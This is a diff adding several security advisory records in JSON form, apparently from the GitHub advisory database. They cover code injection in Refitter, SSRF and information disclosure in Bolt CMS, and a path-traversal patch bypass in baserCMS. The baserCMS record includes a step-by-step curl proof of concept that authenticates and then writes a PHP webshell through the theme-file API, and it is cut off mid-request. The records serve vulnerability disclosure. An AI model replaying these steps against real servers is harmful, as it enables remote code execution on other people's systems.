attacker-controlled or attacker-influenced OpenAPI description. Estimated Critical, e.g.\n`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N` (the CNA sets the final score).\n\n### Suggested fix\n\nEscape every spec-derived string before emitting it into a Refit attribute (escape `\"`, `\\`,\nreject newlines) and validate characters. We recommend auditing all attribute emissions that embed\nspec-derived values, using one shared encoder.\n[maintainer-report.txt](https://github.com/user-attachments/files/29395048/maintainer-report.txt)\n[make_spec.py](https://github.com/user-attachments/files/29395050/make_spec.py)\n[reproduce.sh](https://github.com/user-attachments/files/29395051/reproduce.sh)","affected":[{"package":{"name":"Refitter","ecosystem":"NuGet","purl":"pkg:nuget/Refitter"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.1.2"}]}],"versions":["0.1.2-alpha","0.1.3-alpha","0.1.4-alpha","0.1.5-alpha","0.2.0-alpha","0.2.1-alpha","0.2.2-alpha","0.2.3-alpha","0.2.4-alpha","0.3.0","0.3.1","0.3.16","0.3.17","0.3.2","0.3.3","0.3.4","0.4.0","0.4.1","0.4.2","0.5.0","0.5.1","0.5.2","0.5.25","0.5.26","0.5.27","0.5.28","0.5.29","0.5.3","0.5.30","0.6.0","0.6.1","0.6.2","0.6.3","0.7.0","0.7.0.20-preview","0.7.0.21-preview","0.7.0.22-preview","0.7.0.23-preview","0.7.0.26-preview","0.7.0.27-preview","0.7.0.28-preview","0.7.1","0.7.1.29-preview","0.7.1.30-preview","0.7.1.31-preview","0.7.2","0.7.2.32-preview","0.7.3","0.7.3.33-preview","0.7.3.34-preview","0.7.3.35-preview","0.7.3.36-preview","0.7.3.37-preview","0.7.4","0.7.5","0.8.0","0.8.1","0.8.2","0.8.3","0.8.4","0.8.5","0.8.6","0.8.6.38-preview","0.8.6.39-preview","0.8.7","0.8.7.40-preview","0.8.7.41-preview","0.9.0","0.9.1","0.9.2","0.9.3.42-preview","0.9.4","0.9.4.43-preview","0.9.5","0.9.6","0.9.7","0.9.8","0.9.9","0.9.9.44-preview","1.0.0","1.0.1","1.0.2","1.1.0.45-preview","1.1.1","1.1.2","1.1.3","1.2.0","1.3.0","1.3.1","1.3.2","1.4.0","1.4.1","1.5.0","1.5.1","1.5.2","1.5.3","1.5.4","1.5.5","1.5.6","1.6.0","1.6.1","1.6.2","1.6.3","1.6.4","1.6.5","1.7.0","1.7.1","1.7.2","1.7.3","2.0.0","2.1.0","2.1.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-58x9-vjvp-6mx8/GHSA-58x9-vjvp-6mx8.json"}}],"references":[{"type":"WEB","url":"https://github.com/christianhelle/refitter/security/advisories/GHSA-58x9-vjvp-6mx8"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-63346"},{"type":"WEB","url":"https://github.com/christianhelle/refitter/pull/1178"},{"type":"WEB","url":"https://github.com/christianhelle/refitter/commit/63a19b03699a9c267d6fab5f758ec26484db83a1"},{"type":"PACKAGE","url":"https://github.com/christianhelle/refitter"},{"type":"WEB","url":"https://github.com/christianhelle/refitter/releases/tag/2.1.2"},{"type":"WEB","url":"https://github.com/user-attachments/files/29395048/maintainer-report.txt"},{"type":"WEB","url":"https://github.com/user-attachments/files/29395050/make_spec.py"},{"type":"WEB","url":"https://github.com/user-attachments/files/29395051/reproduce.sh"}],"database_specific":{"cwe_ids":["CWE-116","CWE-94"],"github_reviewed":true,"github_reviewed_at":"2026-11-20T00:06:28Z","nvd_published_at":"2026-10-30T23:17:14Z","severity":"CRITICAL"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}]}
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-p32v-8v8j-j534","published":"2026-11-20T00:06:52Z","modified":"2026-11-20T00:15:05.570663972Z","aliases":["CVE-2026-63344"],"summary":"Refitter allows arbitrary code execution through unescaped OpenAPI content-type values","details":"### Summary\n\nRefitter emits the spec's content-type key (content map key in requestBody/responses) verbatim into a Refit `[Headers(\"Accept: <ct>\", \"Content-Type: <ct>\")]` attribute string without escaping\n`\"`. A crafted value survives Refitter's default OpenAPI validation, breaks out of the attribute and\nthe enclosing interface + namespace, injects a top-level `file class` with a `[ModuleInitializer]`\nmethod, and reopens so the file stays valid. .NET runs `[ModuleInitializer]` methods at assembly\nload, so the attacker's code executes at application startup. Verified on Refitter 2.0.0 / .NET 8.\n\nThe malicious input is a content-type KEY such as: content: { 'application/<breakout>': {schema} }.\nNo `--skip-validation` is required.\n\n### PoC\n\n`reproduce.sh` (+ `make_spec.py`) attached: generates with default validation, compiles into a\nconsole app, runs it (Main does not touch the client), and shows a marker written at assembly load.\n\n### Impact\n\nCode execution at assembly load (process startup) in any application that compiles a Refitter client\ngenerated from an attacker-controlled or attacker-influenced OpenAPI description. Estimated Critical, e.g.\n`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N` (the CNA sets the final score).\n\n### Suggested fix\n\nEscape every spec-derived string before emitting it into a Refit attribute (escape `\"`, `\\`,\nreject newlines) and validate characters. We recommend auditing all attribute emissions that embed\nspec-derived values, using one shared encoder.\n[reproduce.sh](https://github.com/user-attachments/files/29394848/reproduce.sh)\n[maintainer-report.txt](https://github.com/user-attachments/files/29394851/maintainer-report.txt)\n[make_spec.py](https://github.com/user-attachments/files/29394853/make_spec.py)","affected":[{"package":{"name":"Refitter","ecosystem":"NuGet","purl":"pkg:nuget/Refitter"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.1.2"}]}],"versions":["0.1.2-alpha","0.1.3-alpha","0.1.4-alpha","0.1.5-alpha","0.2.0-alpha","0.2.1-alpha","0.2.2-alpha","0.2.3-alpha","0.2.4-alpha","0.3.0","0.3.1","0.3.16","0.3.17","0.3.2","0.3.3","0.3.4","0.4.0","0.4.1","0.4.2","0.5.0","0.5.1","0.5.2","0.5.25","0.5.26","0.5.27","0.5.28","0.5.29","0.5.3","0.5.30","0.6.0","0.6.1","0.6.2","0.6.3","0.7.0","0.7.0.20-preview","0.7.0.21-preview","0.7.0.22-preview","0.7.0.23-preview","0.7.0.26-preview","0.7.0.27-preview","0.7.0.28-preview","0.7.1","0.7.1.29-preview","0.7.1.30-preview","0.7.1.31-preview","0.7.2","0.7.2.32-preview","0.7.3","0.7.3.33-preview","0.7.3.34-preview","0.7.3.35-preview","0.7.3.36-preview","0.7.3.37-preview","0.7.4","0.7.5","0.8.0","0.8.1","0.8.2","0.8.3","0.8.4","0.8.5","0.8.6","0.8.6.38-preview","0.8.6.39-preview","0.8.7","0.8.7.40-preview","0.8.7.41-preview","0.9.0","0.9.1","0.9.2","0.9.3.42-preview","0.9.4","0.9.4.43-preview","0.9.5","0.9.6","0.9.7","0.9.8","0.9.9","0.9.9.44-preview","1.0.0","1.0.1","1.0.2","1.1.0.45-preview","1.1.1","1.1.2","1.1.3","1.2.0","1.3.0","1.3.1","1.3.2","1.4.0","1.4.1","1.5.0","1.5.1","1.5.2","1.5.3","1.5.4","1.5.5","1.5.6","1.6.0","1.6.1","1.6.2","1.6.3","1.6.4","1.6.5","1.7.0","1.7.1","1.7.2","1.7.3","2.0.0","2.1.0","2.1.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-p32v-8v8j-j534/GHSA-p32v-8v8j-j534.json"}}],"references":[{"type":"WEB","url":"https://github.com/christianhelle/refitter/security/advisories/GHSA-p32v-8v8j-j534"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-63344"},{"type":"WEB","url":"https://github.com/christianhelle/refitter/pull/1178"},{"type":"WEB","url":"https://github.com/christianhelle/refitter/commit/ab4d8e439d6f0ee82ad49ee15323978d70fe5a67"},{"type":"PACKAGE","url":"https://github.com/christianhelle/refitter"},{"type":"WEB","url":"https://github.com/christianhelle/refitter/releases/tag/2.1.2"},{"type":"WEB","url":"https://github.com/user-attachments/files/29394848/reproduce.sh"},{"type":"WEB","url":"https://github.com/user-attachments/files/29394851/maintainer-report.txt"},{"type":"WEB","url":"https://github.com/user-attachments/files/29394853/make_spec.py"}],"database_specific":{"cwe_ids":["CWE-116","CWE-94"],"github_reviewed":true,"github_reviewed_at":"2026-11-20T00:06:52Z","nvd_published_at":"2026-10-30T23:17:13Z","severity":"CRITICAL"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}]}
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-2535-j2pq-qq4r","published":"2026-11-20T00:14:42Z","modified":"2026-11-20T00:30:06.971341037Z","aliases":["CVE-2026-77377"],"summary":"Bolt: Server-Side Request Forgery (SSRF) in URL-upload and embed endpoints","details":"### Impact\n\nTwo authenticated backend endpoints fetched a user-supplied URL server-side with no protection against internal targets.\n\n### Patches\n\nThis has been patched in Bolt 6.1.4.","affected":[{"package":{"name":"bolt/core","ecosystem":"Packagist","purl":"pkg:composer/bolt/core"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.1.4"}]}],"versions":["1.0.0-alpha1","4.0.0","4.0.0-alpha3","4.0.0-beta.1","4.0.0-beta.1.1","4.0.0-beta.1.2","4.0.0-beta.1.3","4.0.0-beta.1.4","4.0.0-beta.1.5","4.0.0-beta.1.6","4.0.0-beta.1.7","4.0.0-beta.1.8","4.0.0-beta.2","4.0.0-beta.2.1","4.0.0-beta.2.10","4.0.0-beta.2.2","4.0.0-beta.2.3","4.0.0-beta.2.4","4.0.0-beta.2.5","4.0.0-beta.2.6","4.0.0-beta.2.7","4.0.0-beta.2.8","4.0.0-beta.2.9","4.0.0-beta.3","4.0.0-beta.3.1","4.0.0-beta.3.2","4.0.0-beta.3.3","4.0.0-beta.3.4","4.0.0-beta.3.5","4.0.0-beta.3.6","4.0.0-beta.3.7","4.0.0-beta.3.8","4.0.0-beta.4","4.0.0-beta.4.1","4.0.0-beta.4.2","4.0.0-beta.4.3","4.0.0-beta.4.4","4.0.0-beta.4.5","4.0.0-beta.4.6","4.0.0-beta.5","4.0.0-beta.5.1","4.0.0-beta.5.2","4.0.0-beta.5.3","4.0.0-beta.5.4","4.0.0-beta.5.5","4.0.0-beta.5.6","4.0.0-beta.5.7","4.0.0-beta.5.8","4.0.0-beta.5.9","4.0.0-rc.1","4.0.0-rc.10","4.0.0-rc.11","4.0.0-rc.12","4.0.0-rc.13","4.0.0-rc.14","4.0.0-rc.15","4.0.0-rc.16","4.0.0-rc.17","4.0.0-rc.18","4.0.0-rc.19","4.0.0-rc.2","4.0.0-rc.20","4.0.0-rc.21","4.0.0-rc.22","4.0.0-rc.23","4.0.0-rc.24","4.0.0-rc.25","4.0.0-rc.26","4.0.0-rc.27","4.0.0-rc.28","4.0.0-rc.29","4.0.0-rc.3","4.0.0-rc.31","4.0.0-rc.32","4.0.0-rc.33","4.0.0-rc.34","4.0.0-rc.35","4.0.0-rc.37","4.0.0-rc.39","4.0.0-rc.4","4.0.0-rc.40","4.0.0-rc.41","4.0.0-rc.42","4.0.0-rc.43","4.0.0-rc.44","4.0.0-rc.5","4.0.0-rc.6","4.0.0-rc.7","4.0.0-rc.8","4.0.0-rc.9","4.0.1","4.1.0","4.1.10","4.1.11","4.1.12","4.1.13","4.1.14","4.1.15","4.1.16","4.1.17","4.1.18","4.1.19","4.1.2","4.1.20","4.1.21","4.1.21.1","4.1.22","4.1.23","4.1.3","4.1.4","4.1.5","4.1.6","4.1.7","4.1.7.1","4.1.8","4.1.9","4.2.0","4.2.0-beta.10","4.2.0-beta.11","4.2.0-beta.12","4.2.0-beta.13","4.2.0-beta.14","4.2.0-beta.2","4.2.0-beta.3","4.2.0-beta.4","4.2.0-beta.5","4.2.0-beta.6","4.2.0-beta.7","4.2.0-beta.7.1","4.2.0-beta.7.2","4.2.0-beta.8","4.2.0-beta.8.1","4.2.0-beta.8.2","4.2.0-beta.8.3","4.2.0-beta.9","4.2.0-rc.1","4.2.1","4.2.2","4.2.3","4.2.4","4.2.5","4.2.6","5.0.0","5.0.0-beta.1","5.0.0-beta.1.1","5.0.0-beta.1.2","5.0.0-beta.1.3","5.0.0-beta.10","5.0.0-beta.12","5.0.0-beta.13","5.0.0-beta.14","5.0.0-beta.2","5.0.0-beta.3","5.0.0-beta.4","5.0.0-beta.5","5.0.0-beta.6","5.0.0-beta.6.1","5.0.0-beta.7","5.0.0-beta.8","5.0.0-beta.9","5.0.0-rc.1","5.0.0-rc.2","5.0.1","5.0.2","5.0.3","5.0.4","5.0.5","5.0.6","5.0.7","5.1.0","5.1.0-beta.1","5.1.0-beta.2","5.1.0-beta.3","5.1.1","5.1.10","5.1.11","5.1.12","5.1.13","5.1.14","5.1.15","5.1.16","5.1.16-pl.1","5.1.17","5.1.18","5.1.19","5.1.2","5.1.20","5.1.21","5.1.22","5.1.23","5.1.24","5.1.25","5.1.3","5.1.4","5.1.5","5.1.6","5.1.7","5.1.7-pl.1","5.1.9","5.2.0","5.2.0-beta.1","5.2.0-beta.10","5.2.0-beta.11","5.2.0-beta.12","5.2.0-beta.13","5.2.0-beta.14","5.2.0-beta.15","5.2.0-beta.15.1","5.2.0-beta.16","5.2.0-beta.17","5.2.0-beta.18","5.2.0-beta.18.1","5.2.0-beta.2","5.2.0-beta.20","5.2.0-beta.21","5.2.0-beta.22","5.2.0-beta.23","5.2.0-beta.24","5.2.0-beta.24.1","5.2.0-beta.25","5.2.0-beta.26","5.2.0-beta.3","5.2.0-beta.4","5.2.0-beta.5","5.2.0-beta.6","5.2.0-beta.7","5.2.0-beta.8","5.2.0-beta.9","5.2.0-rc.1","5.2.1","5.2.2","5.2.3","5.2.4","5.2.5","6.0.0","6.0.0-beta.1","6.0.0-beta.10","6.0.0-beta.11","6.0.0-beta.2","6.0.0-beta.3","6.0.0-beta.5","6.0.0-beta.6","6.0.0-beta.7","6.0.0-beta.8","6.0.0-beta.9","6.0.0-rc.1","6.0.0-rc.2","6.0.1","6.0.2","6.0.3","6.1.0","6.1.1","6.1.2","6.1.3"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-2535-j2pq-qq4r/GHSA-2535-j2pq-qq4r.json"}}],"references":[{"type":"WEB","url":"https://github.com/bolt/core/security/advisories/GHSA-2535-j2pq-qq4r"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77377"},{"type":"WEB","url":"https://github.com/Vondry/bolt-cms/pull/3"},{"type":"WEB","url":"https://github.com/bolt/core/commit/4be8861fb5dd3706db363598631026d683bbf4b7"},{"type":"WEB","url":"https://github.com/bolt/core/commit/c5686bfacc4461cb141b38cc5ff00d7bd224f5f2"},{"type":"PACKAGE","url":"https://github.com/bolt/core"},{"type":"WEB","url":"https://github.com/bolt/core/releases/tag/6.1.4"}],"database_specific":{"cwe_ids":["CWE-918"],"github_reviewed":true,"github_reviewed_at":"2026-11-20T00:14:42Z","nvd_published_at":"2026-11-19T17:19:00Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:L/A:N"}]}
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-2pj4-v76f-wjvx","published":"2026-11-20T00:17:47Z","modified":"2026-11-20T00:30:07.775924421Z","aliases":["CVE-2026-62955"],"summary":"baserCMS: Path Traversal Bypass via realpath() in BcThemeFileService (CVE-2026-30940 Patch Bypass)","details":"### Summary\n\nThe security patch introduced in baserCMS 5.2.3 to address CVE-2026-30940 / [GHSA-c5c6-37vq-pjcq](https://github.com/baserproject/basercms/security/advisories/GHSA-c5c6-37vq-pjcq) is **incomplete**. The patch added a `realpath()`-based directory traversal check in `BcThemeFileService::getFullpath()`, but the check is **entirely skipped** when `realpath($baseDir)` returns `false` — which occurs whenever the target subdirectory does not physically exist on disk.\n\nAn authenticated administrator can bypass the patch by supplying a `type` value (e.g., `js`) that maps to a non-existent directory in the theme. The absence of the directory causes `realpath()` to return `false`, the validation block is skipped, and the raw `path` parameter containing `../` sequences is returned unvalidated. This enables arbitrary file write and remote code execution (RCE) — the exact same impact as the original CVE.\n\n**This vulnerability was verified exploitable on baserCMS 5.2.3 (the \"patched\" version of CVE-2026-30940).**\n\n### Details\n\nThe vulnerability exists in `BcThemeFileService::getFullpath()` at [`plugins/bc-theme-file/src/Service/BcThemeFileService.php` lines 70–82](https://github.com/baserproject/basercms/blob/5.2.x/plugins/bc-theme-file/src/Service/BcThemeFileService.php#L70):\n\n```php\npublic function getFullpath(string $theme, string $plugin, string $type, string $path)\n{\n // ...build $baseDir and $fullPath from $theme, $type, $path...\n $baseDir = $viewPath . $type . DS; // e.g. .../BcThemeSample/webroot/js/\n $fullPath = $baseDir . $path; // e.g. .../webroot/js/../../../../webroot/\n\n $resolvedBase = realpath($baseDir);\n if ($resolvedBase !== false) { // ← BYPASS: entire block skipped when dir absent\n $resolvedBase = rtrim($resolvedBase, DS) . DS;\n $targetDir = realpath(dirname($fullPath));\n if ($targetDir === false) {\n $targetDir = $this->normalizePath(dirname($fullPath));\n }\n if (!str_starts_with(rtrim($targetDir, DS) . DS, $resolvedBase)) {\n throw new BcException(__d('baser_core', 'パスにテーマディレクトリ外への参照が含まれています。'));\n }\n }\n\n return $fullPath; // ← Returns unvalidated path when realpath returns false\n}\n```\n\n**Root cause — the bypass condition:**\n\n| `realpath($baseDir)` result | Behavior |\n|-----------------------------|----------|\n| Valid path string (dir **exists**) | Validation runs → `../` traversal **blocked** ✓ |\n| `false` (dir does **not** exist) | Validation **skipped entirely** → `../` traversal **allowed** ✗ |\n\n**Difference from CVE-2026-30940 (original bug):**\n\n| | CVE-2026-30940 (≤ 5.2.2) | This bypass (5.2.3) |\n|--|--|--|\n| Validation | None at all | `realpath()` check — but conditional |\n| `type` needed | Any valid type (`layout`, `cell`, …) | Must map to a **non-existent** subdirectory |\n| `path` blocked | Never | Only when target dir already exists |\n| Root cause | Missing validation | `if ($resolvedBase !== false)` skips false case |\n\n### PoC\n\n**Prerequisites:**\n- baserCMS 5.2.3 (the officially patched version of CVE-2026-30940)\n- Admin credentials\n- `USE_CORE_ADMIN_API=true` in `.env`\n- BcThemeFile plugin installed and BcThemeSample theme loaded\n\n**Step 1 — Login and obtain JWT token:**\n\n```bash\ncurl -s -X POST \"http://localhost/baser/api/admin/baser-core/users/login.json\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\"email\":\"admin@example.com\",\"password\":\"password\"}'\n# Response: {\"access_token\":\"eyJ0eXA...\",\"refresh_token\":\"eyJ0eXA...\"}\n```\n\n**Step 2 — Verify bypass condition (webroot/js/ must not exist):**\n\nThe bypass requires `type=js` to map to a non-existent directory. Confirm:\n\n```bash\n# webroot/js/ does NOT exist → realpath() returns false → validation SKIPPED\nls plugins/BcThemeSample/webroot/\n# Expected output: css img (no js/)\n```\n\n**Step 3 — Exploit: write PHP webshell directly to webroot:**\n\nPath calculation from `baseDir = .../BcThemeSample/webroot/js/`:\n- `js/` (1 up) → `webroot/`\n- `webroot/` (2 up) → `BcThemeSample/`\n- `BcThemeSample/` (3 up) → `plugins/`\n- `plugins/` (4 up) → `/var/www/html/` + `webroot/`\n- Result: `../../../../webroot/` → `/var/www/html/webroot/`\n\n```bash\nTOKEN=\"eyJ0eXA...\" # from step 1\n\ncurl -s -X POST \"http://localhost/baser/api/admin/bc-theme-file/theme_files/add.json\" \\\n -H \"Authorization: Bearer $TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"theme\": \"BcThemeSample\",\n \"plugin\": \"\",\n \"type\": \"Line truncated
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-3xjf-9q55-vxw4","published":"2026-11-20T00:15:44Z","modified":"2026-11-20T00:30:07.071656868Z","aliases":["CVE-2026-77380"],"summary":"Bolt: Prevent SSRF due to unchecked followed redirects","details":"### Impact\n\nThe `/bolt/async/upload-url` and `/bolt/async/embed` endpoints validated only the **submitted** URL before fetching it server-side, but the fetch then **followed redirects to destinations that were never re-validated**. This allowed an authenticated user to bypass the SSRF guard (`UrlSafetyChecker`) and make the server issue requests to internal/cloud-metadata addresses.\n\n### Patches\n\nThis issue has been patched with Bolt 6.1.5.","affected":[{"package":{"name":"bolt/core","ecosystem":"Packagist","purl":"pkg:composer/bolt/core"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.1.5"}]}],"versions":["1.0.0-alpha1","4.0.0","4.0.0-alpha3","4.0.0-beta.1","4.0.0-beta.1.1","4.0.0-beta.1.2","4.0.0-beta.1.3","4.0.0-beta.1.4","4.0.0-beta.1.5","4.0.0-beta.1.6","4.0.0-beta.1.7","4.0.0-beta.1.8","4.0.0-beta.2","4.0.0-beta.2.1","4.0.0-beta.2.10","4.0.0-beta.2.2","4.0.0-beta.2.3","4.0.0-beta.2.4","4.0.0-beta.2.5","4.0.0-beta.2.6","4.0.0-beta.2.7","4.0.0-beta.2.8","4.0.0-beta.2.9","4.0.0-beta.3","4.0.0-beta.3.1","4.0.0-beta.3.2","4.0.0-beta.3.3","4.0.0-beta.3.4","4.0.0-beta.3.5","4.0.0-beta.3.6","4.0.0-beta.3.7","4.0.0-beta.3.8","4.0.0-beta.4","4.0.0-beta.4.1","4.0.0-beta.4.2","4.0.0-beta.4.3","4.0.0-beta.4.4","4.0.0-beta.4.5","4.0.0-beta.4.6","4.0.0-beta.5","4.0.0-beta.5.1","4.0.0-beta.5.2","4.0.0-beta.5.3","4.0.0-beta.5.4","4.0.0-beta.5.5","4.0.0-beta.5.6","4.0.0-beta.5.7","4.0.0-beta.5.8","4.0.0-beta.5.9","4.0.0-rc.1","4.0.0-rc.10","4.0.0-rc.11","4.0.0-rc.12","4.0.0-rc.13","4.0.0-rc.14","4.0.0-rc.15","4.0.0-rc.16","4.0.0-rc.17","4.0.0-rc.18","4.0.0-rc.19","4.0.0-rc.2","4.0.0-rc.20","4.0.0-rc.21","4.0.0-rc.22","4.0.0-rc.23","4.0.0-rc.24","4.0.0-rc.25","4.0.0-rc.26","4.0.0-rc.27","4.0.0-rc.28","4.0.0-rc.29","4.0.0-rc.3","4.0.0-rc.31","4.0.0-rc.32","4.0.0-rc.33","4.0.0-rc.34","4.0.0-rc.35","4.0.0-rc.37","4.0.0-rc.39","4.0.0-rc.4","4.0.0-rc.40","4.0.0-rc.41","4.0.0-rc.42","4.0.0-rc.43","4.0.0-rc.44","4.0.0-rc.5","4.0.0-rc.6","4.0.0-rc.7","4.0.0-rc.8","4.0.0-rc.9","4.0.1","4.1.0","4.1.10","4.1.11","4.1.12","4.1.13","4.1.14","4.1.15","4.1.16","4.1.17","4.1.18","4.1.19","4.1.2","4.1.20","4.1.21","4.1.21.1","4.1.22","4.1.23","4.1.3","4.1.4","4.1.5","4.1.6","4.1.7","4.1.7.1","4.1.8","4.1.9","4.2.0","4.2.0-beta.10","4.2.0-beta.11","4.2.0-beta.12","4.2.0-beta.13","4.2.0-beta.14","4.2.0-beta.2","4.2.0-beta.3","4.2.0-beta.4","4.2.0-beta.5","4.2.0-beta.6","4.2.0-beta.7","4.2.0-beta.7.1","4.2.0-beta.7.2","4.2.0-beta.8","4.2.0-beta.8.1","4.2.0-beta.8.2","4.2.0-beta.8.3","4.2.0-beta.9","4.2.0-rc.1","4.2.1","4.2.2","4.2.3","4.2.4","4.2.5","4.2.6","5.0.0","5.0.0-beta.1","5.0.0-beta.1.1","5.0.0-beta.1.2","5.0.0-beta.1.3","5.0.0-beta.10","5.0.0-beta.12","5.0.0-beta.13","5.0.0-beta.14","5.0.0-beta.2","5.0.0-beta.3","5.0.0-beta.4","5.0.0-beta.5","5.0.0-beta.6","5.0.0-beta.6.1","5.0.0-beta.7","5.0.0-beta.8","5.0.0-beta.9","5.0.0-rc.1","5.0.0-rc.2","5.0.1","5.0.2","5.0.3","5.0.4","5.0.5","5.0.6","5.0.7","5.1.0","5.1.0-beta.1","5.1.0-beta.2","5.1.0-beta.3","5.1.1","5.1.10","5.1.11","5.1.12","5.1.13","5.1.14","5.1.15","5.1.16","5.1.16-pl.1","5.1.17","5.1.18","5.1.19","5.1.2","5.1.20","5.1.21","5.1.22","5.1.23","5.1.24","5.1.25","5.1.3","5.1.4","5.1.5","5.1.6","5.1.7","5.1.7-pl.1","5.1.9","5.2.0","5.2.0-beta.1","5.2.0-beta.10","5.2.0-beta.11","5.2.0-beta.12","5.2.0-beta.13","5.2.0-beta.14","5.2.0-beta.15","5.2.0-beta.15.1","5.2.0-beta.16","5.2.0-beta.17","5.2.0-beta.18","5.2.0-beta.18.1","5.2.0-beta.2","5.2.0-beta.20","5.2.0-beta.21","5.2.0-beta.22","5.2.0-beta.23","5.2.0-beta.24","5.2.0-beta.24.1","5.2.0-beta.25","5.2.0-beta.26","5.2.0-beta.3","5.2.0-beta.4","5.2.0-beta.5","5.2.0-beta.6","5.2.0-beta.7","5.2.0-beta.8","5.2.0-beta.9","5.2.0-rc.1","5.2.1","5.2.2","5.2.3","5.2.4","5.2.5","6.0.0","6.0.0-beta.1","6.0.0-beta.10","6.0.0-beta.11","6.0.0-beta.2","6.0.0-beta.3","6.0.0-beta.5","6.0.0-beta.6","6.0.0-beta.7","6.0.0-beta.8","6.0.0-beta.9","6.0.0-rc.1","6.0.0-rc.2","6.0.1","6.0.2","6.0.3","6.1.0","6.1.1","6.1.2","6.1.3","6.1.4"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-3xjf-9q55-vxw4/GHSA-3xjf-9q55-vxw4.json"}}],"references":[{"type":"WEB","url":"https://github.com/bolt/core/security/advisories/GHSA-3xjf-9q55-vxw4"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77380"},{"type":"WEB","url":"https://github.com/Vondry/bolt-cms/pull/4"},{"type":"WEB","url":"https://github.com/bolt/core/commit/41d7aaf73f7b75c70819208cde513da70f0d2055"},{"type":"PACKAGE","url":"https://github.com/bolt/core"},{"type":"WEB","url":"https://github.com/bolt/core/releases/tag/6.1.5"}],"database_specific":{"cwe_ids":["CWE-918"],"github_reviewed":true,"github_reviewed_at":"2026-11-20T00:15:44Z","nvLine truncated
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-6358-jg5p-hmjj","published":"2026-11-20T00:15:23Z","modified":"2026-11-20T00:30:06.974036965Z","aliases":["CVE-2026-77379"],"summary":"Bolt: Information disclosure through unfiltered public relation API endpoint","details":"### Impact\n\nA missing access-control filter in the public Relation API allowed unauthenticated users to discover metadata about unpublished, draft, and viewless content through REST and GraphQL endpoints.\n\n### Patches\n\nThis has been patched in Bolt 6.1.4.","affected":[{"package":{"name":"bolt/core","ecosystem":"Packagist","purl":"pkg:composer/bolt/core"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.1.4"}]}],"versions":["1.0.0-alpha1","4.0.0","4.0.0-alpha3","4.0.0-beta.1","4.0.0-beta.1.1","4.0.0-beta.1.2","4.0.0-beta.1.3","4.0.0-beta.1.4","4.0.0-beta.1.5","4.0.0-beta.1.6","4.0.0-beta.1.7","4.0.0-beta.1.8","4.0.0-beta.2","4.0.0-beta.2.1","4.0.0-beta.2.10","4.0.0-beta.2.2","4.0.0-beta.2.3","4.0.0-beta.2.4","4.0.0-beta.2.5","4.0.0-beta.2.6","4.0.0-beta.2.7","4.0.0-beta.2.8","4.0.0-beta.2.9","4.0.0-beta.3","4.0.0-beta.3.1","4.0.0-beta.3.2","4.0.0-beta.3.3","4.0.0-beta.3.4","4.0.0-beta.3.5","4.0.0-beta.3.6","4.0.0-beta.3.7","4.0.0-beta.3.8","4.0.0-beta.4","4.0.0-beta.4.1","4.0.0-beta.4.2","4.0.0-beta.4.3","4.0.0-beta.4.4","4.0.0-beta.4.5","4.0.0-beta.4.6","4.0.0-beta.5","4.0.0-beta.5.1","4.0.0-beta.5.2","4.0.0-beta.5.3","4.0.0-beta.5.4","4.0.0-beta.5.5","4.0.0-beta.5.6","4.0.0-beta.5.7","4.0.0-beta.5.8","4.0.0-beta.5.9","4.0.0-rc.1","4.0.0-rc.10","4.0.0-rc.11","4.0.0-rc.12","4.0.0-rc.13","4.0.0-rc.14","4.0.0-rc.15","4.0.0-rc.16","4.0.0-rc.17","4.0.0-rc.18","4.0.0-rc.19","4.0.0-rc.2","4.0.0-rc.20","4.0.0-rc.21","4.0.0-rc.22","4.0.0-rc.23","4.0.0-rc.24","4.0.0-rc.25","4.0.0-rc.26","4.0.0-rc.27","4.0.0-rc.28","4.0.0-rc.29","4.0.0-rc.3","4.0.0-rc.31","4.0.0-rc.32","4.0.0-rc.33","4.0.0-rc.34","4.0.0-rc.35","4.0.0-rc.37","4.0.0-rc.39","4.0.0-rc.4","4.0.0-rc.40","4.0.0-rc.41","4.0.0-rc.42","4.0.0-rc.43","4.0.0-rc.44","4.0.0-rc.5","4.0.0-rc.6","4.0.0-rc.7","4.0.0-rc.8","4.0.0-rc.9","4.0.1","4.1.0","4.1.10","4.1.11","4.1.12","4.1.13","4.1.14","4.1.15","4.1.16","4.1.17","4.1.18","4.1.19","4.1.2","4.1.20","4.1.21","4.1.21.1","4.1.22","4.1.23","4.1.3","4.1.4","4.1.5